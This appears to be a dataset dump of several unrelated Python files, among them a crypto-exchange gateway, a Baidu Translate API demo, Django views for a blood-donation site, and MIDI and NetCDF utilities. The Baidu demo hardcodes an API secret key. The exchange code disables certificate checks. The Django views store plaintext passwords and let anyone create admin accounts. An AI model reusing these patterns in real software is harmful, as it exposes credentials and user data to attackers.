instmt):\n \"\"\"\n Get trades\n :param instmt: Instrument\n :param trade_id: Trade id\n :return: List of trades\n \"\"\"\n link = cls.get_trades_link(instmt)\n # If verify cert, got \n res = cls.request(link, verify_cert=False)\n trades = []\n if len(res['completeOrders']) > 0:\n for t in res['completeOrders']:\n trade = cls.parse_trade(instmt=instmt,\n raw=t)\n trades.append(trade)\n\n return trades\n\n\nclass ExchGwCoinOne(ExchangeGateway):\n \"\"\"\n Exchange gateway\n \"\"\"\n def __init__(self, db_clients):\n \"\"\"\n Constructor\n :param db_client: Database client\n \"\"\"\n ExchangeGateway.__init__(self, ExchGwApiCoineOne(), db_clients)\n\n @classmethod\n def get_exchange_name(cls):\n \"\"\"\n Get exchange name\n :return: Exchange name string\n \"\"\"\n return 'CoinOne'\n\n def get_order_book_worker(self, instmt):\n \"\"\"\n Get order book worker\n :param instmt: Instrument\n \"\"\"\n while True:\n try:\n l2_depth = self.api_socket.get_order_book(instmt)\n if l2_depth is not None and l2_depth.is_diff(instmt.get_l2_depth()):\n instmt.set_prev_l2_depth(instmt.get_l2_depth())\n instmt.set_l2_depth(l2_depth)\n instmt.incr_order_book_id()\n self.insert_order_book(instmt)\n except Exception as e:\n Logger.error(self.__class__.__name__, \"Error in order book: %s\" % e)\n time.sleep(1)\n\n def get_trades_worker(self, instmt):\n \"\"\"\n Get order book worker thread\n :param instmt: Instrument name\n \"\"\"\n while True:\n try:\n ret = self.api_socket.get_trades(instmt)\n if ret is None or len(ret) == 0:\n time.sleep(1)\n continue\n except Exception as e:\n Logger.error(self.__class__.__name__, \"Error in trades: %s\" % e)\n time.sleep(1)\n continue\n\n for trade in ret:\n assert isinstance(trade.trade_id, str), \"trade.trade_id(%s) = %s\" % (type(trade.trade_id), trade.trade_id)\n assert isinstance(instmt.get_exch_trade_id(), str), \\\n \"instmt.get_exch_trade_id()(%s) = %s\" % (type(instmt.get_exch_trade_id()), instmt.get_exch_trade_id())\n if trade.trade_id > instmt.get_exch_trade_id():\n instmt.set_exch_trade_id(trade.trade_id)\n instmt.incr_trade_id()\n self.insert_trade(instmt, trade)\n\n # After the first time of getting the trade, indicate the instrument\n # is recovered\n if not instmt.get_recovered():\n instmt.set_recovered(True)\n\n time.sleep(1)\n\n def start(self, instmt):\n \"\"\"\n Start the exchange gateway\n :param instmt: Instrument\n :return List of threads\n \"\"\"\n instmt.set_l2_depth(L2Depth(5))\n instmt.set_prev_l2_depth(L2Depth(5))\n instmt.set_instmt_snapshot_table_name(self.get_instmt_snapshot_table_name(instmt.get_exchange_name(),\n instmt.get_instmt_name()))\n self.init_instmt_snapshot_table(instmt)\n instmt.set_recovered(False)\n t1 = threading.Thread(target=partial(self.get_order_book_worker, instmt))\n t2 = threading.Thread(target=partial(self.get_trades_worker, instmt))\n t1.start()\n t2.start()\n return [t1, t2]\n\n\nif __name__ == '__main__':\n exchange_name = 'CoinOne'\n instmt_name = 'btc'\n instmt_code = 'btc'\n instmt = Instrument(exchange_name, instmt_name, instmt_code)\n Logger.init_log()\n db_client = SqlClientTemplate()\n exch = ExchGwCoinOne([db_client])\n instmt.set_l2_depth(L2Depth(5))\n instmt.set_prev_l2_depth(L2Depth(5))\n instmt.set_recovered(False)\n exch.start(instmt)\n #exch.get_order_book_worker(instmt)\n #exch.get_trades_worker(instmt)\n","sub_path":"befh/exchanges/coinone.py","file_name":"coinone.py","file_ext":"py","file_size_in_byte":9300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"528095083","text":"#/usr/bin/env python\n#coding:utf-8\n \nimport http\nfrom http import client\nimport hashlib\nimport urllib.request\nfrom urllib import parse\nimport urllib.error\nimport random\nimport json\n\nappid = '2015111300000534'\nsecretKey = 'osubCEzlGjzvw8qdQc4'\n\n \nhttpClient = None\nmyurl = '/api/trans/vip/translate'\nq = 'apple'\nfromLang = 'en'\ntoLang = 'zh'\nsalt = random.randint(32768, 65536)\n\nsign = appid+q+str(salt)+secretKey\nsign = sign.encode('utf-8')\nm1 = hashlib.md5()\nm1.update(sign)\nsign = m1.hexdigest()\nmyurl = myurl+'?appid='+appid+'&q='+parse.quote(q)+'&from='+fromLang+'&to='+toLang+'&salt='+str(salt)+'&sign='+sign\n \ntry:\n httpClient = client.HTTPConnection('api.fanyi.baidu.com')\n httpClient.request('GET', myurl)\n \n #response是HTTPResponse对象\n response = httpClient.getresponse()\n print(response.read())\nexcept Exception as e:\n print(e)\nfinally:\n if httpClient:\n httpClient.close()\n","sub_path":"百度翻译API调用demo/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"158445708","text":"from django.http.response import HttpResponse\r\nfrom django.db import connection\r\nfrom django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nimport joblib\r\nfrom finalmodel.models import adminreg\r\nfrom finalmodel.models import signupuser\r\nfrom finalmodel.models import login\r\nfrom finalmodel.models import dnrinfo\r\nfrom finalmodel.models import tblblooddonars\r\nfrom finalmodel.models import accptr\r\nfrom finalmodel.models import admin\r\nfrom finalmodel.models import tblcontactusquery\r\nfrom django.contrib import messages\r\n\r\n\r\ndef home(request):\r\n return render(request,'home.html')\r\n\r\ndef homeblood(request):\r\n return render(request,'homeblood.html')\r\n\r\ndef contactquery(request):\r\n if request.method=='POST':\r\n if request.POST.get('name') and request.POST.get('ContactNumber') and request.POST.get('EmailId') and request.POST.get('Message'): \r\n saverec = tblcontactusquery()\r\n saverec.name = request.POST.get('name')\r\n saverec.ContactNumber = request.POST.get('ContactNumber')\r\n saverec.EmailId = request.POST.get('EmailId')\r\n saverec.Message = request.POST.get('Message')\r\n saverec.save()\r\n messages.success(request,\"Message successfully Sent!!!\")\r\n return render(request,'home.html')\r\n else:\r\n return(request,'home.html')\r\n\r\ndef loginuser(request):\r\n return render(request,'login.html')\r\n\r\n\r\ndef signupcheck(request):\r\n if request.method=='POST':\r\n if request.POST.get('name') and request.POST.get('email') and request.POST.get('bldgrp') and request.POST.get('password') and request.POST.get('cnumber') and request.POST.get('add'): \r\n name=request.POST.get('name')\r\n email = request.POST.get('email')\r\n pwd = request.POST.get('password')\r\n cno = request.POST.get('cnumber')\r\n bldgrp = request.POST.get('bldgrp')\r\n add = request.POST.get('add')\r\n print(bldgrp)\r\n with connection.cursor() as cursor:\r\n query = \"select * from finalmodel_signupuser where uname=%s\"\r\n cursor.execute(query,[name])\r\n row = cursor.fetchall()\r\n if row!=1:\r\n query = \"INSERT INTO `finalmodel_signupuser`(`uname`, `umail`, `pwd`, `uadd`, `cnumber`, `bldgrp`) VALUES (%s,%s,%s,%s,%s,%s)\"\r\n cursor.execute(query,[name,email,pwd,add,cno,bldgrp])\r\n \r\n return render(request,'login.html')\r\n else:\r\n print(\"User Already exist\")\r\n return render(request,'home.html')\r\n else:\r\n return(request,'signup.html')\r\n\r\ndef adddnr(request,name):\r\n name =name\r\n if request.method=='POST': \r\n if request.POST.get('rec') and request.POST.get('freq') and request.POST.get('mone') and request.POST.get('fdon'):\r\n \r\n rec=request.POST['rec']\r\n fdon=request.POST['fdon']\r\n mone=request.POST['mone']\r\n freq=request.POST['freq']\r\n with connection.cursor() as cursor:\r\n query = 'INSERT INTO finalmodel_dnrinfo (`uname`, `recency`, `montary`, `frequency`, `firstdontime`) VALUES (%s,%s, %s, %s, %s);'\r\n cursor.execute(query,[name,rec,mone,freq,fdon])\r\n return render(request,'thanks.html',{'name':name})\r\n\r\n else: \r\n return render(request,'info_dnr.html')\r\n\r\ndef logincheck(request):\r\n if request.method=='POST':\r\n if request.POST.get('uname') and request.POST.get('pwd'):\r\n name = request.POST['uname']\r\n pwd = request.POST['pwd']\r\n with connection.cursor() as cursor:\r\n query=\"Select * from finalmodel_signupuser where uname=%s and pwd=%s\"\r\n cursor.execute(query,[name,pwd])\r\n row = cursor.fetchall()\r\n print(len(row))\r\n if len(row)==1:\r\n que = \"Select uid from finalmodel_signupuser where uname=%s and pwd =%s\"\r\n cursor.execute(que,[name,pwd])\r\n userid = cursor.fetchone()\r\n \"\"\" \r\n que = \"INSERT INTO loggedin(name) VALUES (%s)\"\r\n cursor.execute(que,[name])\"\"\"\r\n return render(request,'loggeddnr.html',{'name':name})\r\n else:\r\n return render(request,'signup.html')\r\n else:\r\n return render(request,'signup.html')\r\n \r\n\r\ndef register(request):\r\n return render(request,'signup.html')\r\n\r\ndef query(request):\r\n msg = tblcontactusquery.objects.all()\r\n return render(request,'query.html',{'msg':msg})\r\n\r\n\r\ndef donors(request):\r\n dnr = tblblooddonars.objects.all()\r\n return render(request,'donorslist.html',{'dnr':dnr})\r\n\r\ndef display(request):\r\n dn = tblblooddonars.objects.all().count()\r\n print(dn)\r\n donar = {'dnr':dn}\r\n return render(request,'dummy.html',donar)\r\n\r\ndef delete(request ,id):\r\n userid = id\r\n print(userid)\r\n with connection.cursor() as cursor:\r\n query = \"DELETE FROM finalmodel_tblcontactusquery WHERE id = %s\"\r\n cursor.execute(query,[userid])\r\n return redirect('/query/')\r\n \r\n\r\n\r\ndef predform(request):\r\n return render(request,'predict.html')\r\n \r\n\r\n\r\ndef adminlog(request):\r\n return render(request,'adminlog.html')\r\n\r\ndef actacc(request):\r\n accps = accptr.objects.all()\r\n return render(request,'accpt.html',{'accps':accps})\r\n\r\ndef admincheck(request):\r\n if request.method=='POST':\r\n if request.POST.get('uname') and request.POST.get('pwd'):\r\n name = request.POST['uname']\r\n print(name)\r\n pwd = request.POST['pwd']\r\n print(pwd)\r\n \r\n with connection.cursor() as cursor:\r\n query = \"Select * from finalmodel_admin where UserName = %s and Password = %s\"\r\n cursor.execute(query,[name,pwd])\r\n row = cursor.fetchall()\r\n print(len(row))\r\n if len(row)!= 0:\r\n acccnt = accptr.objects.all().count()\r\n msg = tblcontactusquery.objects.all().count()\r\n acc = accptr.objects.all().count()\r\n user = signupuser.objects.all().count()\r\n actdnr = dnrinfo.objects.all().count()\r\n print(actdnr)\r\n admdict = {'acccnt':acccnt, 'msg':msg,'acc':acc,'user':user,'actdnr':actdnr}\r\n \r\n return render(request,'dashboard.html',admdict) \r\n else:\r\n return render(request,'home.html')\r\n\r\ndef adminhome(request):\r\n acccnt = accptr.objects.all().count()\r\n msg = tblcontactusquery.objects.all().count()\r\n acc = accptr.objects.all().count()\r\n user = signupuser.objects.all().count()\r\n actdnr = dnrinfo.objects.all().count()\r\n print(actdnr)\r\n admdict = {'acccnt':acccnt , 'msg':msg,'acc':acc,'user':user,'actdnr':actdnr}\r\n \r\n return render(request,'dashboard.html',admdict) \r\n\r\ndef update(request):\r\n return render(request,'updateform.html')\r\n\r\ndef updatefrm(request):\r\n if request.method=='POST':\r\n if request.POST.get('uname') and request.POST.get('pwd'):\r\n name = request.POST['uname']\r\n pwd = request.POST['pwd']\r\n with connection.cursor() as cursor:\r\n query = ' INSERT INTO `finalmodel_admin`(`UserName`, `Password`) VALUES (%s, %s);'\r\n cursor.execute(query,[name,pwd])\r\n acccnt = accptr.objects.all().count()\r\n msg = tblcontactusquery.objects.all().count()\r\n acc = accptr.objects.all().count()\r\n user = signupuser.objects.all().count()\r\n actdnr = dnrinfo.objects.all().count()\r\n admdict = {'acccnt':acccnt , 'msg':msg,'acc':acc,'user':user,'actdnr':actdnr}\r\n # print(dnr)\r\n return render(request,'dashboard.html',admdict) \r\n \r\n \r\n\r\n\r\ndef searchdonar(request):\r\n if request.method=='POST':\r\n if request.POST.get('srchbldgrp'):\r\n bldgrp = request.POST['srchbldgrp']\r\n print(bldgrp)\r\n dnrs =tblblooddonars.objects.filter(bloodgroup = bldgrp)\r\n #users = tblblooddonars.objects.filter(Name == name).count()\r\n #dnrs={'users':users}\r\n #print(users)\r\n\r\n return render(request,'srchdnr.html',{'dnrs':dnrs})\r\n\r\ndef usersearchdonar(request):\r\n if request.method=='POST':\r\n if request.POST.get('srchbldgrp'):\r\n bldgrp = request.POST['srchbldgrp']\r\n print(bldgrp)\r\n dnrs =tblblooddonars.objects.filter(bloodgroup = bldgrp)\r\n return render(request,'usersrchdnr.html',{'dnrs':dnrs})\r\n\r\ndef infodnr(request):\r\n return render(request,'info_dnr.html')\r\n\r\ndef dnrcheck(request):\r\n return render(request,'info_dnr.html')\r\n\r\ndef predict(request):\r\n pred = dnrinfo.objects.all()\r\n return render (request,'dummy1.html',{'pred':pred})\r\n\r\ndef dummydelete(request,did):\r\n userid = did\r\n with connection.cursor() as cursor:\r\n query = \"DELETE FROM finalmodel_dnrinfo WHERE did = %s\"\r\n cursor.execute(query,[userid])\r\n pred = dnrinfo.objects.all()\r\n return render (request,'dummy1.html',{'pred':pred})\r\n\r\ndef dummypredict(request,did):\r\n userid = did\r\n print(userid)\r\n with connection.cursor() as cursor:\r\n query = \"select * from finalmodel_dnrinfo where did=%s\"\r\n cursor.execute(query,[userid])\r\n kNN=joblib.load('finalmodel.sav')\r\n #pred = dnrinfo.objects.all() \r\n row = cursor.fetchone()\r\n name=row[1]\r\n li=[]\r\n li.append(row[2])\r\n li.append(row[3])\r\n li.append(row[4])\r\n li.append(row[5])\r\n #print(li,end=\" \")\r\n ans=kNN.predict([li])\r\n #print(ans)\r\n quer1 = \"select * from finalmodel_signupuser where uname = %s\" \r\n cursor.execute(quer1,[name])\r\n row = cursor.fetchone()\r\n print(row)\r\n \r\n email = row[2]\r\n Location = row[4]\r\n bloodgrp = row[6]\r\n #print(name)\r\n #print(email)\r\n #print(Location)\r\n #print(bloodgrp)\r\n\r\n return render(request,'dummy2.html',{'name':name,'email':email,'Location':Location,'bloodgrp':bloodgrp,'ans':ans})\r\n\r\n\r\ndef viewdonar(request,name):\r\n uname = name\r\n print(uname)\r\n dnr = tblblooddonars.objects.all()\r\n dnrcnt = tblblooddonars.objects.all().count()\r\n return render(request,'alldonar.html',{'dnr':dnr,'dnrcnt':dnrcnt})\r\n \r\n\r\ndef viewaccptr(request,name):\r\n uname = name\r\n with connection.cursor() as cursor:\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[uname])\r\n row1 = cursor.fetchone()\r\n #print(row1)\r\n mail = row1[2]\r\n Location = row1[4]\r\n bloodgrp = row1[6]\r\n contact = row1[5]\r\n print(mail)\r\n print(Location)\r\n print(contact)\r\n quer2 = \"INSERT INTO `finalmodel_accptr`(`name`, `bldgrp`, `location`, `contact`) VALUES (%s,%s,%s,%s)\"\r\n cursor.execute(quer2,[uname,bloodgrp,Location,contact])\r\n\r\n #acptrs = {'name':name,'mail':mail,'Location':Location,'bloodgrp':bloodgrp,'contact':contact}\r\n\r\n return render(request,'accptrthanks.html',{'name':name})\r\n\r\ndef loggddnr(request):\r\n return render(request,'loggeddnr.html')\r\n\r\ndef samplee(request):\r\n return render(request,'samplee.html')\r\n\r\ndef seeing(request):\r\n return render(request,'seeing.html')\r\ndef save(request):\r\n return render(request,'save.html')\r\ndef donation(request):\r\n return render(request,'donate.html')\r\ndef reg(request):\r\n return render(request,'reg.html')\r\ndef dnrform(request,name):\r\n name=name\r\n return render(request,'dnrform.html',{'name':name})\r\n\r\n\r\ndef allaccptr(request,name):\r\n name=name\r\n with connection.cursor() as cursor:\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[name])\r\n row1 = cursor.fetchone()\r\n bloodgrp = row1[6]\r\n dnrs =accptr.objects.filter(bldgrp = bloodgrp)\r\n return render(request,'allaccptr.html',{'dnrs':dnrs,'name':name})\r\n\r\ndef dnrprofile(request,name):\r\n name=name\r\n with connection.cursor() as cursor:\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[name])\r\n row = cursor.fetchone()\r\n mail = row[2]\r\n Location = row[4]\r\n bloodgrp = row[6]\r\n contact = row[5]\r\n return render(request,'dnrprofile.html',{'name':name,'mail':mail,'Location':Location,'bloodgrp':bloodgrp,'contact':contact})\r\ndef accprofile(request,name):\r\n name=name\r\n with connection.cursor() as cursor:\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[name])\r\n row = cursor.fetchone()\r\n mail = row[2]\r\n Location = row[4]\r\n bloodgrp = row[6]\r\n contact = row[5]\r\n return render(request,'accprofile.html',{'name':name,'mail':mail,'Location':Location,'bloodgrp':bloodgrp,'contact':contact})\r\n\r\n\r\ndef accupdate(request,name):\r\n name=name\r\n return render(request,'accupdatefrm.html',{'name':name})\r\n\r\ndef accupdateuser(request,name):\r\n name=name\r\n if request.method=='POST':\r\n if request.POST.get('loc') and request.POST.get('contact') and request.POST.get('pwd') and request.POST.get('mail'):\r\n Location = request.POST['loc']\r\n contact = request.POST['contact']\r\n pwd = request.POST['pwd']\r\n mail = request.POST['mail']\r\n with connection.cursor() as cursor:\r\n query = \"UPDATE `finalmodel_signupuser` SET `umail`=%s,`pwd`=%s,`uadd`=%s,`cnumber`=%s WHERE uname = %s\"\r\n cursor.execute(query,[mail,pwd,Location,contact,name])\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[name])\r\n row1 = cursor.fetchone()\r\n bloodgrp = row1[6]\r\n \r\n return render(request,'accprofile.html',{'bloodgrp':bloodgrp,'name':name,'contact':contact,'mail':mail,'Location':Location})\r\n\r\ndef dnrupdate(request,name):\r\n name=name\r\n return render(request,'dnrupdatefrm.html',{'name':name})\r\n\r\ndef accptrsrch(request,name):\r\n name = name\r\n with connection.cursor() as cursor:\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[name])\r\n row1 = cursor.fetchone()\r\n bloodgrp = row1[6]\r\n dnrs =tblblooddonars.objects.filter(bloodgroup = bloodgrp)\r\n return render(request,'accptrsrch.html',{'dnrs':dnrs,'name':name})\r\n\r\ndef dnrupdateuser(request,name):\r\n name=name\r\n if request.method=='POST':\r\n if request.POST.get('loc') and request.POST.get('contact') and request.POST.get('pwd') and request.POST.get('mail'):\r\n Location = request.POST['loc']\r\n contact = request.POST['contact']\r\n pwd = request.POST['pwd']\r\n mail = request.POST['mail']\r\n with connection.cursor() as cursor:\r\n query = \"UPDATE `finalmodel_signupuser` SET `umail`=%s,`pwd`=%s,`uadd`=%s,`cnumber`=%s WHERE uname = %s\"\r\n cursor.execute(query,[mail,pwd,Location,contact,name])\r\n quer1 = \"SELECT * FROM `finalmodel_signupuser` WHERE uname = %s\"\r\n cursor.execute(quer1,[name])\r\n row1 = cursor.fetchone()\r\n bloodgrp = row1[6]\r\n \r\n return render(request,'dnrprofile.html',{'bloodgrp':bloodgrp,'name':name,'contact':contact,'mail':mail,'Location':Location})\r\n\r\n\r\n\r\n","sub_path":"finalmodel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"276489356","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('users', '0003_league'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='player',\n name='user',\n ),\n migrations.AddField(\n model_name='player',\n name='email',\n field=models.EmailField(default='j@gmail.com', unique=True, max_length=100),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='player',\n name='first_name',\n field=models.CharField(default='John', max_length=50),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='player',\n name='is_active',\n field=models.BooleanField(default=True),\n ),\n migrations.AddField(\n model_name='player',\n name='last_login',\n field=models.DateTimeField(null=True, verbose_name='last login', blank=True),\n ),\n migrations.AddField(\n model_name='player',\n name='last_name',\n field=models.CharField(default='Doe', max_length=50),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='player',\n name='password',\n field=models.CharField(default='password', max_length=128, verbose_name='password'),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='league',\n name='email',\n field=models.EmailField(max_length=100),\n ),\n migrations.AlterField(\n model_name='league',\n name='league_name',\n field=models.CharField(unique=True, max_length=100),\n ),\n ]\n","sub_path":"users/migrations/0004_auto_20150616_0450.py","file_name":"0004_auto_20150616_0450.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"467918586","text":"from netCDF4 import Dataset\nimport os\nimport datetime\n\n\nclass NetCDF2JSON(object):\n\n filename = None\n\n def __init__(self, filename):\n self.filename = filename\n\n def as_json(self):\n\n try:\n rootgrp = Dataset(self.filename)\n except FileNotFoundError:\n return None\n\n lon1 = None\n lon2 = None\n lat1 = None\n lat2 = None\n geo = False\n\n if geo is False:\n try:\n lon1 = float(min(rootgrp.variables['lon']))\n lon2 = float(max(rootgrp.variables['lon']))\n lat1 = float(min(rootgrp.variables['lat']))\n lat2 = float(max(rootgrp.variables['lat']))\n geo = True\n except KeyError:\n pass\n\n if geo is False:\n try:\n lon1 = float(min(rootgrp.variables['X']))\n lon2 = float(max(rootgrp.variables['X']))\n lat1 = float(min(rootgrp.variables['Y']))\n lat2 = float(max(rootgrp.variables['Y']))\n geo = True\n except KeyError:\n pass\n\n if geo is False:\n try:\n lon1 = float(min(rootgrp.variables['longitude']))\n lon2 = float(max(rootgrp.variables['longitude']))\n lat1 = float(min(rootgrp.variables['latitude']))\n lat2 = float(max(rootgrp.variables['latitude']))\n geo = True\n except KeyError:\n pass\n\n variables = []\n for variable in rootgrp.variables.values():\n attributes = []\n for attribute in variable.ncattrs():\n attributes.append({\"name\": str(attribute), \"value\": str(variable.getncattr(attribute))})\n\n dimensions = []\n for dimension in variable.dimensions:\n dimensions.append(str(dimension))\n\n shapes = []\n for shape in variable.shape:\n shapes.append(shape)\n\n variables.append({\n \"name\": str(variable.name),\n \"dtype\": str(variable.dtype),\n \"ndim\": variable.ndim,\n \"shape\": shapes,\n \"dimensions\": dimensions,\n \"attributes\": attributes\n })\n\n dimensions = []\n for dimension in rootgrp.dimensions.values():\n dimensions.append({\n \"name\": str(dimension.name),\n \"size\": len(dimension),\n })\n\n attributes = []\n for attribute in rootgrp.ncattrs():\n attributes.append({\"name\": str(attribute), \"value\": str(rootgrp.getncattr(attribute))})\n\n feature = {\n \"name\": os.path.basename(self.filename),\n \"dimensions\": dimensions,\n \"variables\": variables,\n \"date\": str(datetime.datetime.utcnow()),\n \"attributes\": attributes\n }\n if geo is True:\n feature[\"loc\"] = {\n \"type\": \"Polygon\",\n \"coordinates\": [[[lon1, lat1], [lon2, lat1], [lon2, lat2], [lon1, lat2], [lon1, lat1]]]\n }\n rootgrp.close()\n\n return feature\n","sub_path":"NetCDF2JSON.py","file_name":"NetCDF2JSON.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"267940174","text":"\"\"\"Functions for palindrome.py\"\"\"\n\n\ndef is_palindrome(num):\n \"\"\"Test if a number is a palindrome.\"\"\"\n # Convert num to a string to compare indices.\n num = str(num)\n half = len(num) // 2\n forward = ''\n backward = ''\n for i in range(half):\n forward += num[i]\n backward += num[-(i + 1)]\n if forward == backward:\n return True\n else:\n return False\n\n\ndef find_two_digit_products():\n \"\"\"Find all the products of every two digit number.\"\"\"\n products = []\n for i in range(10, 100):\n for j in range(10, 100):\n products.append(i * j)\n return products\n\n\ndef find_three_digit_products():\n \"\"\"Find all the products of every three digit number.\"\"\"\n products = []\n for i in range(100, 1000):\n for j in range(100, 1000):\n products.append(i * j)\n return products\n\n\ndef find_max_palindrome(li):\n \"\"\"Find the max palindrome in a list of ints\"\"\"\n palindromes = []\n for num in li:\n if is_palindrome(num):\n palindromes.append(num)\n return max(palindromes)\n","sub_path":"palindrome_functions.py","file_name":"palindrome_functions.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"25084023","text":"# GENERAL WORKSPACE\n\n# List Comprehension\n\n# given 3 integers X, Y, Z representing the coordinates (i, j, k).\n# print a list of all possible coordinates given by (i, j, k) on a 3D grid where the sum of i + j + k is != to N\n\nx = 2\ny = 2\nz = 2\nn = 2\n\nar = []\np = 0\nfor i in range(x+1):\n for j in range(y+1):\n for k in range(z+1):\n if (i + j + k) != n:\n ar.append([])\n ar[p] = [i, j, k]\n p += 1\n\nprint(ar)\n","sub_path":"notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"46977647","text":"from mido import MidiFile\nimport os.path\nimport logging\nimport random\nimport numpy as np\nimport importlib\nfrom .midi_map_config import ARTICULATIONS, NUM_ARTICULATIONS\n\nMuS_PER_SECOND = 1000000 # number of microseconds in a second\n\nclass Markers:\n\t@staticmethod\n\tdef from_file(marker_path, map_path):\n\t\tif not os.path.exists(map_path):\n\t\t\tlogging.warning('No midi map found at ' + map_path + '.Using default midi map')\n\t\t\tdefault_map_dir = os.path.dirname(os.path.realpath(__file__))\n\t\t\tmap_path = os.path.join(default_map_dir, 'default_midi_map.py')\n\n\t\tlogging.info('Loading markers from ' + marker_path + '...')\n\t\tlogging.info('Using midi map at ' + map_path)\n\n\t\tmod_name, file_ext = os.path.splitext(os.path.split(map_path)[-1])\n\n\t\tspec = importlib.util.spec_from_file_location(mod_name, map_path)\n\t\tmapper = importlib.util.module_from_spec(spec)\n\t\tspec.loader.exec_module(mapper)\n\n\t\tmidi_map = mapper.get_map(ARTICULATIONS)\n\n\t\tmidi_file = MidiFile(marker_path)\n\t\treturn Markers(midi_file, midi_map)\n\n\t@staticmethod\n\tdef generate_negative_markers(positive_markers, min_distance_from_positive_markers=0):\n\t\tlogging.info('Generating negative markers...')\n\t\n\t\tnegative_markers = []\n\n\t\tfor i, current_positive_marker in enumerate(positive_markers):\n\t\t\tnegative_marker = None\n\t\t\tif len(positive_markers) > i + 1:\n\t\t\t\tnext_positive_marker = positive_markers[i + 1]\n\t\t\t\tnegative_marker = Markers.create_random_between(current_positive_marker, next_positive_marker, min_distance_from_positive_markers)\n\n\t\t\tif negative_marker is not None:\n\t\t\t\tnegative_markers.append(negative_marker)\n\n\t\tlogging.info(str(len(negative_markers)) + ' negative markers generated')\n\t\treturn negative_markers\n\n\t@staticmethod\n\tdef create_random_between(first_marker, second_marker, min_distance_from_markers=0):\n\t\tdistance_between_markers = second_marker['pos'] - first_marker['pos'] - (min_distance_from_markers * 2)\n\n\t\tif distance_between_markers > 0:\n\t\t\tpos = (random.random() * distance_between_markers) + first_marker['pos'] + min_distance_from_markers\n\t\t\treturn {'pos': round(pos), 'y': np.zeros(NUM_ARTICULATIONS, dtype=np.int8)}\n\t\telse:\n\t\t\treturn None\n\n\tdef __init__(self, midi_file, midi_map):\n\t\tself._ticks_per_beat = midi_file.ticks_per_beat\n\t\tself._events = midi_file.tracks[0]\n\n\t\tif not isinstance(midi_map, tuple):\n\t\t\traise TypeError('Invalid midi map. Expected list, got ' + str(type(midi_map)))\n\n\t\tif len(midi_map) != 128:\n\t\t\traise ValueError('Invalid midi map.Expected length 128. Got length ' + str(len(midi_map)))\n\n\t\tself._midi_map = midi_map\n\n\t# build a map of the markers in the format:\n\t# {\n\t# [uint samplePosition]: new Int8Array([0, 0, 1, ... NUM_ARTICULATIONS])\n\t# [uint samplePosition]: new Int8Array([1, 1, 0, ... NUM_ARTICULATIONS])\n\t# ...\n\t# }\n\t# where each Int8Array records which articulation(s) were hit at the samplePosition\n\tdef get_sample_pos_map(self, sample_rate=44100):\n\t\tmarker_map = {}\n\t\tcurrentSampPerBeat = 0\n\t\telapsedSamples = 0\n\n\t\tfor evt in self._events:\n\t\t\tnumBeatsSinceLastEvt = evt.time / self._ticks_per_beat\n\n\t\t\telapsedSamples += (numBeatsSinceLastEvt * currentSampPerBeat)\n\n\t\t\tif evt.type == 'set_tempo':\n\t\t\t\tcurrentSampPerBeat = (evt.tempo / MuS_PER_SECOND) * sample_rate\n\t\t\telif evt.type == 'note_on' and evt.velocity != 0:\n\t\t\t\tmarkerPosition = round(elapsedSamples)\n\t\t\t\tmappedNote = self._midi_map[evt.note] # map 128 possible midi notes into NUM_ARTICULATIONS\n\t\t\t\tarticulations = marker_map.setdefault(markerPosition, np.zeros(NUM_ARTICULATIONS, dtype=np.int8))\n\n\t\t\t\tif mappedNote != ARTICULATIONS['NO_HIT']:\n\t\t\t\t\tarticulations[mappedNote] = 1\n\n\t\treturn marker_map\n\n\t# build a list of the markers in the format:\n\t# [{\n\t# \tpos: uint samplePosition,\n\t# \ty: new Int8Array([1, 1, 0, ... NUM_ARTICULATIONS])\n\t# }, {\n\t# \tpos: uint samplePosition,\n\t# \ty: new Int8Array([1, 1, 0, ... NUM_ARTICULATIONS])\n\t# }, ...]\n\t# where y is an Int8Array that records which articulation(s) were hit at the samplePosition\n\tdef get_sample_pos_list(self, sample_rate=44100):\n\t\tmarkerMap = self.get_sample_pos_map(sample_rate)\n\t\tmarkerArray = []\n\n\t\tfor pos, y in markerMap.items():\n\t\t\tmarkerArray.append({'pos': int(pos), 'y': y})\n\n\t\tmarkerArray.sort(key=lambda m: m['pos'])\n\n\t\t# Not exactly the number of midi events, since some happen simultaneously and are captured inside a single marker\n\t\tlogging.info(str(len(markerArray)) + ' markers loaded.')\n\t\treturn markerArray\n","sub_path":"data_gen/markers.py","file_name":"markers.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} 